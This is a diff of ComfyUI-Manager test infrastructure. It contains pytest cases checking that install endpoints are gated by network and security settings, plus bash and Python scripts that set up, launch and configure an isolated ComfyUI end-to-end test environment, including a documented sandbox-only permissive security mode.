"""SC-15: pip=true, sl=weak, listen=public, nm=public -> denied
(network invariant)."""
assert predicate(True, PUBLIC_ADDR, NM_PUBLIC) is False
# ---------------------------------------------------------------------------
# Flag independence (cross-link [D1]+[D2])
# ---------------------------------------------------------------------------
def test_sc16_git_false_pip_true_independent_outcomes(predicate):
"""SC-16: git=false, pip=true, sl=normal, listen=loopback -> git denied,
pip allowed. At predicate level each surface passes ONLY its own flag —
same network inputs, opposite outcomes."""
git_allowed = predicate(False, LOOPBACK, NM_PUBLIC)
pip_allowed = predicate(True, LOOPBACK, NM_PUBLIC)
assert git_allowed is False
assert pip_allowed is True
def test_sc17_git_true_pip_false_independent_outcomes(predicate):
"""SC-17: git=true, pip=false, sl=normal, listen=loopback -> git allowed,
pip denied (mirror of SC-16)."""
git_allowed = predicate(True, LOOPBACK, NM_PUBLIC)
pip_allowed = predicate(False, LOOPBACK, NM_PUBLIC)
assert git_allowed is True
assert pip_allowed is False
# ---------------------------------------------------------------------------
# Supplementary: exhaustive flag x loopback x personal_cloud truth table
# (spec §4 row 1 — "flag x loopback x personal_cloud" full table)
# ---------------------------------------------------------------------------
@pytest.mark.parametrize(
("flag", "listen", "network_mode", "expected"),
[
(True, LOOPBACK, NM_PUBLIC, True), # SC-01/02/11
(True, LOOPBACK, NM_PERSONAL_CLOUD, True), # both arms true
(True, PUBLIC_ADDR, NM_PERSONAL_CLOUD, True), # SC-03/12
(True, PUBLIC_ADDR, NM_PUBLIC, False), # SC-07/15
(False, LOOPBACK, NM_PUBLIC, False), # SC-05/06/13/14
(False, LOOPBACK, NM_PERSONAL_CLOUD, False),
(False, PUBLIC_ADDR, NM_PERSONAL_CLOUD, False),
(False, PUBLIC_ADDR, NM_PUBLIC, False),
],
ids=[
"flag+loopback+nm_public",
"flag+loopback+personal_cloud",
"flag+public+personal_cloud",
"flag+public+nm_public",
"noflag+loopback+nm_public",
"noflag+loopback+personal_cloud",
"noflag+public+personal_cloud",
"noflag+public+nm_public",
],
)
def test_truth_table_flag_x_loopback_x_personal_cloud(
predicate, flag, listen, network_mode, expected):
"""Full 2x2x2 truth table for P-direct (spec §1.1): allowed iff flag AND
(loopback OR personal_cloud). Consolidates SC-01/02/03/05/06/07 ([D1])
and SC-11/12/13/14/15 ([D2]) plus the two combinations no single row
pins (flag+loopback+personal_cloud, noflag+public+personal_cloud)."""
assert predicate(flag, listen, network_mode) is expected
# ---------------------------------------------------------------------------
# Supplementary edge handling locked by the spec text
# ---------------------------------------------------------------------------
def test_ipv6_loopback_counts_as_loopback(predicate):
"""SC-01/SC-02 edge (loopback arm): `is_loopback` is ipaddress-based
(manager_security.py) — ::1 must be treated as loopback too."""
assert predicate(True, LOOPBACK_V6, NM_PUBLIC) is True
@pytest.mark.parametrize("network_mode", ["Personal_Cloud", "PERSONAL_CLOUD"],
ids=["mixed-case", "upper-case"])
def test_network_mode_personal_cloud_is_case_insensitive(predicate, network_mode):
"""SC-03/SC-12 edge (personal_cloud arm): spec §1.2 predicate body —
network_mode.lower() == 'personal_cloud' (case-insensitive)."""
assert predicate(True, PUBLIC_ADDR, network_mode) is True
def test_unparseable_listen_address_is_not_loopback(predicate):
"""SC-07/SC-15 edge (network invariant): is_loopback returns False for
unparseable addresses (ValueError arm) — the predicate must fail CLOSED
on a malformed listen address."""
assert predicate(True, "not-an-ip-address", NM_PUBLIC) is False
+211
View File
@@ -0,0 +1,211 @@
"""Cross-platform E2E environment setup for ComfyUI + Manager.
Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
Idempotent: skips setup if marker file and key artifacts already exist.
Input env vars:
E2E_ROOT — target directory (required)
MANAGER_ROOT — manager repo root (default: auto-detected)
COMFYUI_BRANCH — ComfyUI branch to clone (default: master)
Output (last line of stdout):
E2E_ROOT=/path/to/environment
Usage:
python tests/e2e/scripts/setup_e2e_env.py
"""
from __future__ import annotations
import os
import subprocess
import sys
from pathlib import Path
COMFYUI_REPO = "https://github.com/comfyanonymous/ComfyUI.git"
PYTORCH_CPU_INDEX = "https://download.pytorch.org/whl/cpu"
CONFIG_INI_CONTENT = """\
[default]
use_uv = true
use_unified_resolver = true
file_logging = false
"""
def log(msg: str) -> None:
print(f"[setup_e2e] {msg}", flush=True)
def die(msg: str) -> None:
print(f"[setup_e2e] ERROR: {msg}", file=sys.stderr)
sys.exit(1)
def run(cmd: list[str], **kwargs) -> subprocess.CompletedProcess:
log(f" $ {' '.join(cmd)}")
return subprocess.run(cmd, check=True, **kwargs)
def detect_manager_root() -> Path:
"""Walk up from this script to find pyproject.toml."""
d = Path(__file__).resolve().parent
while d != d.parent:
if (d / "pyproject.toml").exists():
return d
d = d.parent
die("Cannot detect MANAGER_ROOT (no pyproject.toml found)")
raise SystemExit(1) # unreachable, for type checker
def venv_python(root: Path) -> str:
if sys.platform == "win32":
return str(root / "venv" / "Scripts" / "python.exe")
return str(root / "venv" / "bin" / "python")
def venv_bin(root: Path, name: str) -> str:
if sys.platform == "win32":
return str(root / "venv" / "Scripts" / f"{name}.exe")
return str(root / "venv" / "bin" / name)
def is_already_setup(root: Path, manager_root: Path) -> bool:
marker = root / ".e2e_setup_complete"
comfyui = root / "comfyui"
venv = root / "venv"
config = root / "comfyui" / "user" / "__manager" / "config.ini"
manager_link = root / "comfyui" / "custom_nodes" / "ComfyUI-Manager"
return (
marker.exists()
and comfyui.is_dir()
and venv.is_dir()
and config.exists()
and (manager_link.exists() or manager_link.is_symlink())
)
def link_manager(custom_nodes: Path, manager_root: Path) -> None:
"""Create symlink or junction to manager source."""
link = custom_nodes / "ComfyUI-Manager"
if link.exists() or link.is_symlink():
if link.is_symlink():
link.unlink()
elif link.is_dir():
import shutil
shutil.rmtree(link)
if sys.platform == "win32":
# Windows: use directory junction (no admin privileges needed)
subprocess.run(
["cmd", "/c", "mklink", "/J", str(link), str(manager_root)],
check=True,
)
else:
link.symlink_to(manager_root)
def main() -> None:
manager_root = Path(os.environ.get("MANAGER_ROOT", "")) or detect_manager_root()
manager_root = manager_root.resolve()
log(f"MANAGER_ROOT={manager_root}")
e2e_root_str = os.environ.get("E2E_ROOT", "")
if not e2e_root_str:
die("E2E_ROOT environment variable is required")
root = Path(e2e_root_str).resolve()
root.mkdir(parents=True, exist_ok=True)
log(f"E2E_ROOT={root}")
branch = os.environ.get("COMFYUI_BRANCH", "master")
# Idempotency
if is_already_setup(root, manager_root):
log("Environment already set up (marker file exists). Skipping.")
print(f"E2E_ROOT={root}")
return
# Step 1: Clone ComfyUI
comfyui_dir = root / "comfyui"
if (comfyui_dir / ".git").is_dir():
log("Step 1/7: ComfyUI already cloned, skipping")
else:
log(f"Step 1/7: Cloning ComfyUI (branch={branch})...")
run(["git", "clone", "--depth=1", "--branch", branch, COMFYUI_REPO, str(comfyui_dir)])
# Step 2: Create venv
venv_dir = root / "venv"
if venv_dir.is_dir():
log("Step 2/7: venv already exists, skipping")
else:
log("Step 2/7: Creating virtual environment...")
run(["uv", "venv", str(venv_dir)])
py = venv_python(root)
# Step 3: Install ComfyUI dependencies (CPU-only)
log("Step 3/7: Installing ComfyUI dependencies (CPU-only)...")
run([
"uv", "pip", "install",
"--python", py,
"-r", str(comfyui_dir / "requirements.txt"),
"--extra-index-url", PYTORCH_CPU_INDEX,
])
# Step 3.5: Ensure pip is available in the venv (Manager needs it for per-pack installs)
log("Step 3.5: Ensuring pip is available...")
run(["uv", "pip", "install", "--python", py, "pip"])
# Step 4: Install Manager
log("Step 4/7: Installing ComfyUI-Manager...")
run(["uv", "pip", "install", "--python", py, str(manager_root)])
# Step 5: Link manager into custom_nodes
log("Step 5/7: Linking Manager into custom_nodes...")
custom_nodes = comfyui_dir / "custom_nodes"
custom_nodes.mkdir(parents=True, exist_ok=True)
link_manager(custom_nodes, manager_root)
# Step 6: Write config.ini
log("Step 6/7: Writing config.ini...")
config_dir = comfyui_dir / "user" / "__manager"
config_dir.mkdir(parents=True, exist_ok=True)
(config_dir / "config.ini").write_text(CONFIG_INI_CONTENT)
# Step 7: Verify
log("Step 7/7: Verifying setup...")
errors = 0
if not (comfyui_dir / "main.py").exists():
log(" FAIL: comfyui/main.py not found")
errors += 1
if not os.path.isfile(py):
log(f" FAIL: venv python not found at {py}")
errors += 1
link = custom_nodes / "ComfyUI-Manager"
if not link.exists():
log(f" FAIL: Manager link not found at {link}")
errors += 1
# Check cm-cli is installed
cm_cli = venv_bin(root, "cm-cli")
if not os.path.isfile(cm_cli):
log(f" FAIL: cm-cli not found at {cm_cli}")
errors += 1
if errors:
die(f"Verification failed with {errors} error(s)")
log("Verification OK")
# Write marker
from datetime import datetime
(root / ".e2e_setup_complete").write_text(datetime.now().isoformat())
log("Setup complete.")
print(f"E2E_ROOT={root}")
if __name__ == "__main__":
main()
+246
View File
@@ -0,0 +1,246 @@
#!/usr/bin/env bash
# setup_e2e_env.sh — Automated E2E environment setup for ComfyUI + Manager
#
# Creates an isolated ComfyUI installation with ComfyUI-Manager for E2E testing.
# Idempotent: skips setup if marker file and key artifacts already exist.
#
# Input env vars:
# E2E_ROOT — target directory (default: auto-generated via mktemp)
# MANAGER_ROOT — manager repo root (default: auto-detected from script location)
# COMFYUI_BRANCH — ComfyUI branch to clone (default: master)
# PYTHON — Python executable (default: python3)
#
# Output (last line of stdout):
# E2E_ROOT=/path/to/environment
#
# Exit: 0=success, 1=failure
set -euo pipefail
# --- Constants ---
COMFYUI_REPO="https://github.com/comfyanonymous/ComfyUI.git"
PYTORCH_CPU_INDEX="https://download.pytorch.org/whl/cpu"
CONFIG_INI_CONTENT="[default]
use_uv = true
use_unified_resolver = true
file_logging = false"
# --- Logging helpers ---
log() { echo "[setup_e2e] $*"; }
err() { echo "[setup_e2e] ERROR: $*" >&2; }
die() { err "$@"; exit 1; }
# --- Detect manager root by walking up from script dir to find pyproject.toml ---
detect_manager_root() {
local dir
dir="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
while [[ "$dir" != "/" ]]; do
if [[ -f "$dir/pyproject.toml" ]]; then
echo "$dir"
return 0
fi
dir="$(dirname "$dir")"
done
return 1
}
# --- Validate prerequisites ---
validate_prerequisites() {
local py="${PYTHON:-python3}"
local missing=()
command -v git >/dev/null 2>&1 || missing+=("git")
command -v uv >/dev/null 2>&1 || missing+=("uv")
command -v "$py" >/dev/null 2>&1 || missing+=("$py")
if [[ ${#missing[@]} -gt 0 ]]; then
die "Missing prerequisites: ${missing[*]}"
fi
# Verify Python version >= 3.9
local py_version
py_version=$("$py" -c "import sys; print(f'{sys.version_info.major}.{sys.version_info.minor}')")
local major minor
major="${py_version%%.*}"
minor="${py_version##*.}"
if [[ "$major" -lt 3 ]] || { [[ "$major" -eq 3 ]] && [[ "$minor" -lt 9 ]]; }; then
die "Python 3.9+ required, found $py_version"
fi
log "Prerequisites OK (python=$py_version, git=$(git --version | awk '{print $3}'), uv=$(uv --version 2>&1 | awk '{print $2}'))"
}
# --- Check idempotency: skip if already set up ---
check_already_setup() {
local root="$1"
if [[ -f "$root/.e2e_setup_complete" ]] \
&& [[ -d "$root/comfyui" ]] \
&& [[ -d "$root/venv" ]] \
&& [[ -f "$root/comfyui/user/__manager/config.ini" ]] \
&& [[ -L "$root/comfyui/custom_nodes/ComfyUI-Manager" ]]; then
log "Environment already set up at $root (marker file exists). Skipping."
echo "E2E_ROOT=$root"
exit 0
fi
}
# --- Verify the setup ---
verify_setup() {
local root="$1"
local manager_root="$2"
local venv_py="$root/venv/bin/python"
local errors=0
log "Running verification checks..."
# Check ComfyUI directory
if [[ ! -f "$root/comfyui/main.py" ]]; then
err "Verification FAIL: comfyui/main.py not found"
((errors++))
fi
# Check venv python
if [[ ! -x "$venv_py" ]]; then
err "Verification FAIL: venv python not executable"
((errors++))
fi
# Check symlink
local link_target="$root/comfyui/custom_nodes/ComfyUI-Manager"
if [[ ! -L "$link_target" ]]; then
err "Verification FAIL: symlink $link_target does not exist"
((errors++))
elif [[ "$(readlink -f "$link_target")" != "$(readlink -f "$manager_root")" ]]; then
err "Verification FAIL: symlink target mismatch"
((errors++))
fi
# Check config.ini
if [[ ! -f "$root/comfyui/user/__manager/config.ini" ]]; then
err "Verification FAIL: config.ini not found"
((errors++))
fi
# Check Python imports
# comfy is a local package inside ComfyUI (not pip-installed), and
# comfyui_manager.__init__ imports from comfy — both need PYTHONPATH
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfy" 2>/dev/null; then
err "Verification FAIL: 'import comfy' failed"
((errors++))
fi
if ! PYTHONPATH="$root/comfyui" "$venv_py" -c "import comfyui_manager" 2>/dev/null; then
err "Verification FAIL: 'import comfyui_manager' failed"
((errors++))
fi
if [[ "$errors" -gt 0 ]]; then
die "Verification failed with $errors error(s)"
fi
log "Verification OK: all checks passed"
}
# ===== Main =====
# Resolve MANAGER_ROOT
if [[ -z "${MANAGER_ROOT:-}" ]]; then
MANAGER_ROOT="$(detect_manager_root)" || die "Cannot detect MANAGER_ROOT. Set it explicitly."
fi
MANAGER_ROOT="$(cd "$MANAGER_ROOT" && pwd)"
log "MANAGER_ROOT=$MANAGER_ROOT"
# Validate prerequisites
validate_prerequisites
PYTHON="${PYTHON:-python3}"
COMFYUI_BRANCH="${COMFYUI_BRANCH:-master}"
# Create or use E2E_ROOT
CREATED_BY_US=false
if [[ -z "${E2E_ROOT:-}" ]]; then
E2E_ROOT="$(mktemp -d -t e2e_comfyui_XXXXXX)"
CREATED_BY_US=true
log "Created E2E_ROOT=$E2E_ROOT"
else
mkdir -p "$E2E_ROOT"
log "Using E2E_ROOT=$E2E_ROOT"
fi
# Idempotency check
check_already_setup "$E2E_ROOT"
# Cleanup trap: remove E2E_ROOT on failure only if we created it
cleanup_on_failure() {
local exit_code=$?
if [[ "$exit_code" -ne 0 ]] && [[ "$CREATED_BY_US" == "true" ]]; then
err "Setup failed. Cleaning up $E2E_ROOT"
rm -rf "$E2E_ROOT"
fi
}
trap cleanup_on_failure EXIT
# Step 1: Clone ComfyUI
log "Step 1/8: Cloning ComfyUI (branch=$COMFYUI_BRANCH)..."
if [[ -d "$E2E_ROOT/comfyui/.git" ]]; then
log " ComfyUI already cloned, skipping"
else
git clone --depth=1 --branch "$COMFYUI_BRANCH" "$COMFYUI_REPO" "$E2E_ROOT/comfyui"
fi
# Step 2: Create virtual environment
log "Step 2/8: Creating virtual environment..."
if [[ -d "$E2E_ROOT/venv" ]]; then
log " venv already exists, skipping"
else
uv venv "$E2E_ROOT/venv"
fi
VENV_PY="$E2E_ROOT/venv/bin/python"
# Step 3: Install ComfyUI dependencies
log "Step 3/8: Installing ComfyUI dependencies (CPU-only)..."
uv pip install \
--python "$VENV_PY" \
-r "$E2E_ROOT/comfyui/requirements.txt" \
--extra-index-url "$PYTORCH_CPU_INDEX"
# Step 4: Install ComfyUI-Manager (editable — venv tracks workspace edits)
# Editable install prevents silent drift between the workspace source and the
# installed package: any change to comfyui_manager/** is visible to E2E
# immediately without re-running this script. The 2026-04-18 junk_value-rejection
# regression (surfaced in WI-E/WI-G, root-caused in WI-I) was masked for weeks by
# a non-editable snapshot — this flag closes that failure mode.
log "Step 4/8: Installing ComfyUI-Manager (editable)..."
uv pip install --python "$VENV_PY" -e "$MANAGER_ROOT"
# Step 5: Create symlink for custom_nodes discovery
log "Step 5/8: Creating custom_nodes symlink..."
mkdir -p "$E2E_ROOT/comfyui/custom_nodes"
local_link="$E2E_ROOT/comfyui/custom_nodes/ComfyUI-Manager"
if [[ -L "$local_link" ]]; then
log " Symlink already exists, updating"
rm -f "$local_link"
fi
ln -s "$MANAGER_ROOT" "$local_link"
# Step 6: Write config.ini to correct path
log "Step 6/8: Writing config.ini..."
mkdir -p "$E2E_ROOT/comfyui/user/__manager"
echo "$CONFIG_INI_CONTENT" > "$E2E_ROOT/comfyui/user/__manager/config.ini"
# Step 7: Create HOME isolation directories
log "Step 7/8: Creating HOME isolation directories..."
mkdir -p "$E2E_ROOT/home/.config"
mkdir -p "$E2E_ROOT/home/.local/share"
mkdir -p "$E2E_ROOT/logs"
# Step 8: Verify setup
log "Step 8/8: Verifying setup..."
verify_setup "$E2E_ROOT" "$MANAGER_ROOT"
# Write marker file
date -Iseconds > "$E2E_ROOT/.e2e_setup_complete"
# Clear the EXIT trap since setup succeeded
trap - EXIT
log "Setup complete."
echo "E2E_ROOT=$E2E_ROOT"
+157
View File
@@ -0,0 +1,157 @@
#!/usr/bin/env bash
# start_comfyui.sh — Foreground-blocking ComfyUI launcher for E2E tests
#
# Starts ComfyUI in the background, then blocks the foreground until the server
# is ready (or timeout). This makes it safe to call from subprocess.run() or
# Claude's Bash tool — the call returns only when ComfyUI is accepting requests.
#
# Input env vars:
# E2E_ROOT — (required) path to E2E environment from setup_e2e_env.sh
# PORT — ComfyUI listen port (default: 8199)
# TIMEOUT — max seconds to wait for readiness (default: 120)
# ENABLE_LEGACY_UI — if set to "1"/"true"/"yes", add --enable-manager-legacy-ui
# (for Playwright legacy-UI tests; pytest suites should
# leave this unset because glob and legacy manager_server
# modules are mutex-loaded and several pytest suites hit
# glob-only v2 endpoints such as /v2/manager/queue/task).
# The convenience wrapper start_comfyui_legacy.sh sets it.
#
# Output (last line on success):
# COMFYUI_PID=<pid> PORT=<port>
#
# Exit: 0=ready, 1=timeout/failure
set -euo pipefail
# --- Defaults ---
PORT="${PORT:-8199}"
TIMEOUT="${TIMEOUT:-120}"
# --- Logging helpers ---
log() { echo "[start_comfyui] $*"; }
err() { echo "[start_comfyui] ERROR: $*" >&2; }
die() { err "$@"; exit 1; }
# --- Validate environment ---
[[ -n "${E2E_ROOT:-}" ]] || die "E2E_ROOT is not set"
[[ -d "$E2E_ROOT/comfyui" ]] || die "ComfyUI not found at $E2E_ROOT/comfyui"
[[ -x "$E2E_ROOT/venv/bin/python" ]] || die "venv python not found at $E2E_ROOT/venv/bin/python"
[[ -f "$E2E_ROOT/.e2e_setup_complete" ]] || die "Setup marker not found. Run setup_e2e_env.sh first."
PY="$E2E_ROOT/venv/bin/python"
COMFY_DIR="$E2E_ROOT/comfyui"
LOG_DIR="$E2E_ROOT/logs"
LOG_FILE="$LOG_DIR/comfyui.log"
# Port-namespaced PID file — prevents concurrent tests on different ports
# (e.g., teammate running pytest on 8199 while Playwright runs on 8200)
# from overwriting each other's PID, which would cause stop_comfyui.sh to
# kill the wrong process (observed in WI-CC: 8200 stop killed 8199 PID 2979469).
PID_FILE="$LOG_DIR/comfyui.${PORT}.pid"
mkdir -p "$LOG_DIR"
# --- Check/clear port ---
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
log "Port $PORT is in use. Attempting to stop existing process..."
# Try to read existing PID file
if [[ -f "$PID_FILE" ]]; then
OLD_PID="$(cat "$PID_FILE")"
if kill -0 "$OLD_PID" 2>/dev/null; then
kill "$OLD_PID" 2>/dev/null || true
sleep 2
fi
fi
# Fallback: kill by port pattern
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
pkill -f "main\\.py.*--port $PORT" 2>/dev/null || true
sleep 2
fi
# Final check
if ss -tlnp 2>/dev/null | grep -q ":${PORT}\b"; then
die "Port $PORT is still in use after cleanup attempt"
fi
log "Port $PORT cleared."
fi
# --- Start ComfyUI ---
log "Starting ComfyUI on port $PORT..."
# Create empty log file (ensures tail -f works from the start)
: > "$LOG_FILE"
# Assemble manager flags. ENABLE_LEGACY_UI toggles --enable-manager-legacy-ui
# without forcing every caller to care — pytest leaves it unset (glob mode),
# start_comfyui_legacy.sh sets it (legacy UI mode).
MANAGER_FLAGS=(--enable-manager)
case "${ENABLE_LEGACY_UI:-}" in
1|true|TRUE|yes|YES)
MANAGER_FLAGS+=(--enable-manager-legacy-ui)
log "Legacy UI enabled via ENABLE_LEGACY_UI=${ENABLE_LEGACY_UI}"
;;
esac
# Launch with unbuffered Python output so log lines appear immediately.
# COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 is the WI-WW safety belt:
# any install/update/reinstall path that would normally run
# `pip install -r manager_requirements.txt` becomes a no-op log line.
# Essential for WI-YY real-E2E tests that trigger install/update flows
# — without it, a real update_comfyui task could run unbounded pip
# installs on the test venv.
PYTHONUNBUFFERED=1 \
HOME="$E2E_ROOT/home" \
COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 \
nohup "$PY" "$COMFY_DIR/main.py" \
--cpu \
"${MANAGER_FLAGS[@]}" \
--port "$PORT" \
> "$LOG_FILE" 2>&1 &
COMFYUI_PID=$!
echo "$COMFYUI_PID" > "$PID_FILE"
log "ComfyUI PID=$COMFYUI_PID, log=$LOG_FILE"
# Verify process didn't crash immediately
sleep 1
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
err "ComfyUI process died immediately. Last 30 lines of log:"
tail -n 30 "$LOG_FILE" >&2
rm -f "$PID_FILE"
exit 1
fi
# --- Block until ready ---
# tail -n +1 -f: read from file start AND follow new content (no race condition)
# grep -q -m1: exit on first match → tail gets SIGPIPE → pipeline ends
# timeout: kill the pipeline after TIMEOUT seconds
log "Waiting up to ${TIMEOUT}s for ComfyUI to become ready..."
if timeout "$TIMEOUT" bash -c \
"tail -n +1 -f '$LOG_FILE' 2>/dev/null | grep -q -m1 'To see the GUI'"; then
log "ComfyUI startup message detected."
else
err "Timeout (${TIMEOUT}s) waiting for ComfyUI. Last 30 lines of log:"
tail -n 30 "$LOG_FILE" >&2
kill "$COMFYUI_PID" 2>/dev/null || true
rm -f "$PID_FILE"
exit 1
fi
# Verify process is still alive after readiness detected
if ! kill -0 "$COMFYUI_PID" 2>/dev/null; then
err "ComfyUI process died after readiness signal. Last 30 lines:"
tail -n 30 "$LOG_FILE" >&2
rm -f "$PID_FILE"
exit 1
fi
# Optional HTTP health check
if command -v curl >/dev/null 2>&1; then
if curl -sf "http://127.0.0.1:${PORT}/system_stats" >/dev/null 2>&1; then
log "HTTP health check passed (/system_stats)"
else
log "HTTP health check skipped (endpoint not yet available, but startup message detected)"
fi
fi
log "ComfyUI is ready."
echo "COMFYUI_PID=$COMFYUI_PID PORT=$PORT"
+27
View File
@@ -0,0 +1,27 @@
#!/usr/bin/env bash
# start_comfyui_legacy.sh — Thin wrapper that launches ComfyUI in LEGACY UI mode.
#
# Delegates to start_comfyui.sh with ENABLE_LEGACY_UI=1. The underlying script
# translates that into --enable-manager-legacy-ui on main.py, which registers
# the legacy Manager dialog frontend and routes POST /v2/manager/queue/* to
# the legacy handler module (legacy/manager_server.py).
#
# Use this wrapper for Playwright legacy-UI tests (tests/playwright/legacy-ui-*).
# Do NOT use for pytest suites that hit glob-only v2 endpoints (e.g.
# /v2/manager/queue/task), because glob/manager_server and legacy/manager_server
# are mutex-loaded — see comfyui_manager/__init__.py::start().
#
# Input env vars (forwarded to start_comfyui.sh):
# E2E_ROOT — required
# PORT — default 8199
# TIMEOUT — default 120
#
# Output (last line on success, inherited from start_comfyui.sh):
# COMFYUI_PID=<pid> PORT=<port>
#
# Exit: 0=ready, 1=timeout/failure
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
exec env ENABLE_LEGACY_UI=1 bash "$SCRIPT_DIR/start_comfyui.sh" "$@"
+86
View File
@@ -0,0 +1,86 @@
#!/usr/bin/env bash
# start_comfyui_permissive.sh — Launch ComfyUI in PERMISSIVE security mode
# for WI-YY real-E2E tests of `high+` gated endpoints.
#
# Patches `security_level = normal-` into the manager config.ini before
# launching (with backup of original value), then delegates to
# start_comfyui.sh with ENABLE_LEGACY_UI=1 (wi-037 and wi-038 are
# legacy-only routes). The corresponding stop_comfyui.sh teardown should
# be paired with restore_config() inside the pytest fixture — this
# script does NOT restore on its own, so fixture teardown MUST cleanup.
#
# Why permissive mode is needed:
# - wi-014 POST /v2/comfyui_manager/comfyui_switch_version checks
# is_allowed_security_level('high+'): at is_local_mode=True
# (127.0.0.1 listen) the gate requires security_level ∈ {weak,
# normal-}. Default `security_level = normal` fails (403).
# - wi-037 POST /v2/customnode/install/git_url and
# wi-038 POST /v2/customnode/install/pip are gated by the dedicated
# config.ini flags `allow_git_url_install` / `allow_pip_install`
# (goal265 / #2962) — independent of security_level, default false
# (403).
# Patching security_level = normal- plus both flags = true allows real
# E2E execution of these endpoints with fixed, trusted inputs (never
# test-input-derived URLs).
#
# SECURITY NOTE:
# The endpoints are gated at high+ because they execute arbitrary remote
# code (git clone / pip install / version switch). This harness opens
# the gate ONLY in the E2E sandbox with HARDCODED trusted inputs
# (ComfyUI_examples repo; text-unidecode package). Never use with
# user-input-derived inputs — the 403 contract at default security is
# the positive-path security behavior we want to preserve in production.
#
# Input env vars (forwarded to start_comfyui.sh):
# E2E_ROOT — required
# PORT — default 8199
# TIMEOUT — default 120
#
# Output (last line on success, inherited from start_comfyui.sh):
# COMFYUI_PID=<pid> PORT=<port>
#
# Exit: 0=ready, 1=timeout/failure
#
# Side effect: $E2E_ROOT/comfyui/user/__manager/config.ini gets
# `security_level = normal-`, `allow_git_url_install = true` and
# `allow_pip_install = true`. The original config is preserved at
# config.ini.before-permissive for the fixture to restore on teardown.
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
[[ -n "${E2E_ROOT:-}" ]] || { echo "[start_comfyui_permissive] ERROR: E2E_ROOT is not set" >&2; exit 1; }
CONFIG="$E2E_ROOT/comfyui/user/__manager/config.ini"
BACKUP="$CONFIG.before-permissive"
[[ -f "$CONFIG" ]] || { echo "[start_comfyui_permissive] ERROR: config not found at $CONFIG" >&2; exit 1; }
# Preserve original config so the fixture can restore it on teardown.
# If a previous run left a backup, do NOT overwrite.
if [[ ! -f "$BACKUP" ]]; then
cp "$CONFIG" "$BACKUP"
echo "[start_comfyui_permissive] Backed up original config to $BACKUP"
fi
# Patch security_level to normal- (idempotent).
if grep -qE '^security_level\s*=' "$CONFIG"; then
sed -i -E 's/^security_level\s*=.*/security_level = normal-/' "$CONFIG"
else
sed -i -E '/^\[default\]/a security_level = normal-' "$CONFIG"
fi
echo "[start_comfyui_permissive] Patched security_level = normal- in $CONFIG"
# Patch the dedicated install flags (goal265 / #2962): install/git_url and
# install/pip are gated by these flags instead of security_level (idempotent).
for flag in allow_git_url_install allow_pip_install; do
if grep -qE "^${flag}\s*=" "$CONFIG"; then
sed -i -E "s/^${flag}\s*=.*/${flag} = true/" "$CONFIG"
else
sed -i -E "/^\[default\]/a ${flag} = true" "$CONFIG"
fi
done
echo "[start_comfyui_permissive] Patched allow_git_url_install/allow_pip_install = true in $CONFIG"
exec env ENABLE_LEGACY_UI=1 bash "$SCRIPT_DIR/start_comfyui.sh" "$@"

Some files were not shown because too many files have changed in this diff Show More